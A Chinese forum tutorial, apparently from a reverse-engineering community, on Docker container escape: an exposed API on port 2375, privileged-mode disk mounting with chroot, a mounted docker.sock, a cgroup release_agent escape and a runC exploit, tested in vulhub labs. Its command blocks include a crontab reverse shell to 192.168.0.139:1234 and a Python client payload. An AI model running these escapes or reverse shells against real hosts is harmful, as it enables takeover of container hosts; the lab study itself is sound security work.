Docker实现原理: https://bbs.pediy.com/thread-272123.htm
漏洞原理:在使用docker swarm的时候,节点上会开放一个TCP端口2375,绑定在0.0.0.0上,如果我们使用HTTP的方式访问会返回404 利用思路:通过挂在宿主机的目录,写定时任务获取SHELL,从而逃逸




访问ip:2375/version

payload

在普通模式下可以手动自定义--cap-add参数自定义
特权模式下,容器内进程拥有使用所有的 linux capabilities 的能力,但是, 不表示进程就一定有使用某些 linux capabilities 的权限。比如,如果容器是以非 root 用户启动的, 就算它是以特权模式启动的容器,也不表示它就能够做一些无权限做的事情
Tips: Tmpfs说明:c2bK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6T1L8r3!0Y4i4K6u0W2y4e0q4U0N6r3!0Q4x3X3g2U0L8$3#2Q4x3V1k6#2i4K6g2X3x3e0p5@1z5e0f1J5y4U0S2Q4x3V1j5J5y4o6t1@1y4o6p5@1
Tips
AppArmor: 8a2K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6%4N6%4N6Q4x3X3g2U0L8X3u0D9L8$3N6K6i4K6u0W2j5$3!0E0i4K6u0r3P5X3I4Z5k6X3k6Q4x3V1k6H3i4K6u0r3y4e0b7$3y4o6R3$3x3W2)9J5k6h3S2@1L8h3H3`.Seccomp: 02aK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6W2L8W2)9J5k6i4N6A6K9$3W2H3k6h3c8A6j5g2)9J5k6h3!0J5k6#2)9J5c8Y4N6A6K9$3W2Q4x3V1k6e0k6h3y4U0L8$3#2H3


可以直接挂载宿主机的磁盘

查看宿主机的/etc/passwd

查看root目录


Tips: chroot命令 chroot命令 用来在指定的根目录下运行指令。chroot,即 change root directory (更改 root 目录)。在 linux 系统中,系统默认的目录结构都是以/,即是以根 (root) 开始的。而在使用 chroot 之后,系统的目录结构将以指定的位置作为/位置。 把根目录换成指定的目的目录
Ps: 在这遇到一个问题 f4aK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6%4N6%4N6Q4x3X3g2C8K9h3&6Y4K9$3E0Q4x3X3g2U0L8$3#2Q4x3V1j5J5x3o6t1I4i4K6u0r3x3o6q4Q4x3V1k6Q4x3U0g2q4z5g2)9J5y4e0R3#2i4K6t1#2z5p5c8Q4x3U0g2q4y4#2)9J5y4f1u0p5i4K6t1#2b7f1g2Q4x3U0g2q4y4q4)9J5y4f1t1^5i4K6t1#2z5p5c8Q4x3U0g2q4y4g2)9J5y4f1u0p5i4K6t1#2z5e0y4Q4x3U0g2q4y4g2)9J5y4f1q4r3i4K6t1#2b7V1y4Q4x3U0g2q4z5q4)9J5y4e0R3%4i4K6t1#2b7U0c8Q4x3U0g2q4y4#2)9J5y4e0W2m8i4K6t1#2z5o6c8Q4x3U0g2q4y4g2)9J5y4f1q4q4i4K6t1#2b7U0W2Q4x3U0g2q4y4g2)9J5y4e0V1&6i4K6t1#2b7e0S2Q4x3U0g2q4z5g2)9J5y4e0R3H3i4K6t1#2z5o6y4Q4x3U0g2q4z5g2)9J5y4e0R3H3i4K6t1#2b7U0S2Q4x3V1j5`.参考了这篇文章,但是这篇文章说,使用以下命令 cat /proc/self/status | grep CapEff如果返回的值为0000003fffffffff就是特权模式启动,但是我在我的centos中发现返回的值为0000001fffffffff,我也是特权模式启动

可是在Centos中的值如下图

随后在ubuntu21.10的宿主机系统下载docker镜像ubuntu18.04,查看后发现结果为0000003fffffffff

通过capsh命令可以看到,为0000001fffffffff和为0000003fffffffff就只相差一点

等待反弹即可


/var/run/docker.sock是 Docker守护程序默认监听的 Unix 套接字。它也是一个用于从容器内与Docker守护进程通信的工具 取自StackOverflowUnix Sockets 术语套接字通常是指 IP 套接字。这些是绑定到端口(和地址)的端口,我们向其发送 TCP 请求并从中获取响应。
另一种类型的 Socket 是 Unix Socket,这些套接字用于IPC(进程间通信)。它们也称为 Unix 域套接字 ( UDS )。Unix 套接字使用本地文件系统进行通信,而 IP 套接字使用网络。
Docker 守护进程可以通过三种不同类型的 Socket 监听 Docker Engine API 请求:unix, tcp, and fd. 默认情况下,在 /var/run/docker.sock 中创建一个 unix 域套接字(或 IPC 套接字)

随后在docker容器中安装docker

安装完成之后我们使用docker ps就可以看到宿主机上的容器了
将宿主机的根目录挂载到容器

可以看到宿主机root目录上的图片,反弹shell也是修改crontab即可
通过修改Crontab定时任务来反弹shell



如果在docker启动的时候挂载了宿主机的根目录,就可以通过chroot获取宿主机的权限

还是一样可以通过crontab反弹shell

通过notify_on_release实现容器逃逸 条件

POC

随后查看cat output

cgroups 是Linux内核提供的一种可以限制单个进程或者多个进程所使用资源的机制,可以对 cpu,内存等资源实现精细化的控制,目前越来越火的轻量级容器 Docker 就使用了 cgroups 提供的资源限制能力来完成cpu,内存等部分的资源控制。
另外,开发者也可以使用 cgroups 提供的精细化控制能力,限制某一个或者某一组进程的资源使用。比如在一个既部署了前端 web 服务,也部署了后端计算模块的八核服务器上,可以使用 cgroups 限制 web server 仅可以使用其中的六个核,把剩下的两个核留给后端计算模块。
Cgroup主要限制的资源

如果cgroup中使能notify_on_release,cgroup中的最后一个进程被移除,最后一个子cgroup也被删除时,cgroup会主动通知kernel。接收到消息的kernel会执行release_agent文件中指定的程序。notify_on_release默认是关闭的,release_agent的内容默认为空,子cgroup在创建时会继承父cgroup中notify_on_relase和release_agent的属性。所以这两个文件只存在于cgroupfs的顶层目录中。
cgroup的每一个subsystem都有参数notify_on_release,这个参数值是Boolean型,1或0。分别可以启动和禁用释放代理的指令。如果notify_on_release启用,当cgroup不再包含任何任务时(即,cgroup的tasks文件里的PID为空时),系统内核会执行release_agent参数指定的文件里的内容。
ce1K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6%4N6%4N6Q4x3X3g2X3M7X3g2W2j5Y4g2X3i4K6u0W2j5$3!0E0i4K6u0r3N6Y4g2D9M7#2)9J5c8U0t1$3y4o6R3@1x3#2)9J5k6h3S2@1L8h3H3`.
docker version \<=18.09.2 RunC version \<=1.0-rc6


下载Exploit
下载完之后改一下main.go

这里改成在宿主机的/tmp写一个UzJu

随后传入容器中

然后我们在宿主机的/tmp目录中写一个UzJu

运行exp

然后我们在宿主机尝试去exec进入该容器

可以看到执行成功了



git clone https:
/
/
github.com
/
vulhub
/
vulhub.git
git clone https:
/
/
github.com
/
vulhub
/
vulhub.git
docker
-
compose build docker
-
compose up
-
d
docker
-
compose build docker
-
compose up
-
d
docker ps
-
a | grep rce
import
docker
client
=
docker.DockerClient(base_url
=
'43dK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8U0p5&6x3W2)9J5k6e0p5$3z5q4)9J5k6e0m8Q4x3X3f1I4x3K6S2Q4x3@1p5J5x3K6M7#2i4K6t1%4
) data
=
client.containers.run(
'alpine:latest'
, r
, remove
=
True
, volumes
=
{'
/
etc
': {'
bind
': '
/
tmp
/
etc
', '
mode
': '
rw'}})
print
(data)
import
docker
client
=
docker.DockerClient(base_url
=
'43dK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8U0p5&6x3W2)9J5k6e0p5$3z5q4)9J5k6e0m8Q4x3X3f1I4x3K6S2Q4x3@1p5J5x3K6M7#2i4K6t1%4
) data
=
client.containers.run(
'alpine:latest'
, r
, remove
=
True
, volumes
=
{'
/
etc
': {'
bind
': '
/
tmp
/
etc
', '
mode
': '
rw'}})
print
(data)
docker run
-
it
-
-
privileged ubuntu:
18.04
docker run
-
it
-
-
privileged ubuntu:
18.04
fdisk
-
l
mkdir uzju mount
/
dev
/
sda3 uzju
/
chroot
/
uzju
/
mkdir uzju mount
/
dev
/
sda3 uzju
/
chroot
/
uzju
/
crontab
-
e
*
*
*
*
*
/
bin
/
bash
-
i >&
/
dev
/
tcp
/
192.168
.
0.139
/
1234
0
>&
1
crontab
-
e
*
*
*
*
*
/
bin
/
bash
-
i >&
/
dev
/
tcp
/
192.168
.
0.139
/
1234
0
>&
1
docker run
-
it
-
v
/
var
/
run
/
docker.sock:
/
var
/
run
/
docker.sock ubuntu:
18.04
docker run
-
it
-
v
/
var
/
run
/
docker.sock:
/
var
/
run
/
docker.sock ubuntu:
18.04
sudo apt
-
get update
sudo apt
-
get install apt
-
transport
-
https ca
-
certificates curl gnupg
-
agent software
-
properties
-
common
curl
-
fsSL https:
/
/
download.docker.com
/
linux
/
ubuntu
/
gpg | sudo apt
-
key add
-
sudo apt
-
key fingerprint
0EBFCD88
sudo add
-
apt
-
repository
"deb [arch=amd64] 366K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6V1L8%4N6F1L8r3!0S2k6q4)9J5k6h3c8G2j5$3E0W2M7W2)9J5k6h3y4G2L8g2)9J5c8X3I4A6L8Y4g2^5i4K6u0r3N6h3u0#2L8Y4c8#2 $(lsb_release -cs) stable"
$ sudo apt
-
get update
sudo apt
-
get install docker
-
ce
sudo systemctl enable docker
sudo systemctl start docker
sudo apt
-
get update
sudo apt
-
get install apt
-
transport
-
https ca
-
certificates curl gnupg
-
agent software
-
properties
-
common
curl
-
fsSL https:
/
/
download.docker.com
/
linux
/
ubuntu
/
gpg | sudo apt
-
key add
-
sudo apt
-
key fingerprint
0EBFCD88
sudo add
-
apt
-
repository
"deb [arch=amd64] 366K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6V1L8%4N6F1L8r3!0S2k6q4)9J5k6h3c8G2j5$3E0W2M7W2)9J5k6h3y4G2L8g2)9J5c8X3I4A6L8Y4g2^5i4K6u0r3N6h3u0#2L8Y4c8#2 $(lsb_release -cs) stable"
$ sudo apt
-
get update
sudo apt
-
get install docker
-
ce
sudo systemctl enable docker
sudo systemctl start docker
docker run
-
it
-
v
/
:
/
uzju ubuntu:
18.04
/
bin
/
bash
docker run
-
it
-
v
/
:
/
uzju ubuntu:
18.04
/
bin
/
bash
[培训]科锐逆向工程师培训第53期2025年7月8日开班!